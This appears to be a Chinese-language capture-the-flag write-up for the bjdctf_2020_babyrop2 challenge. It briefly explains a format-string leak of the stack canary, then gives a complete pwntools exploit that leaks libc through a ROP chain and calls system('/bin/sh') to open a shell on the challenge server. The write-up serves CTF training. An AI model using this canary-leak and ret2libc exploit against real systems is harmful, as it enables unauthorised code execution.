canary保护——bjdctf_2020_babyrop2
基本操作
开启了canary保护
gift函数明显的格式化字符串漏洞
vlun函数明显的栈溢出
这里想要栈溢出首先要获得canary的值
然而这个漏洞有输入限制,只能输入6个字节,不能改got表
通过格式化漏洞一个个试canary的值
可以看到偏移为7的地方就是canary的值
剩下的就是以前的rop了,就不写了
得到flag
exp:
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",27111)
#p=process('./pwn1')
elf=ELF('./pwn1')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
pop=0x0400993
ret=0x04005f9
vlun=0x400887
p.recvuntil('u!\n')
payload='%7$p'
p.sendline(payload)
p.recvuntil('0x')
canary=int(p.recv(16),16)
print("0x%x"%canary)
p.recvuntil("story!\n")
payload='a'*(0x20-8)+p64(canary)+p64(0)+p64(pop)+p64(puts_got)+p64(ret)+p64(puts_plt)+p64(vlun)
p.sendline(payload)
addr=u64(p.recv(6).ljust(0x8,'\x00'))
print("addr=0x%x"%addr)
libc=LibcSearcher('puts',addr)
libc_base=addr-libc.dump('puts')
system=libc_base+libc.dump('system')
str_bin_sh=libc_base+libc.dump('str_bin_sh')
payload2='a'*(0x20-8)+p64(canary)+p64(0)+p64(pop)+p64(str_bin_sh)+p64(system)
p.recvuntil("story!")
p.sendline(payload2)
p.interactive()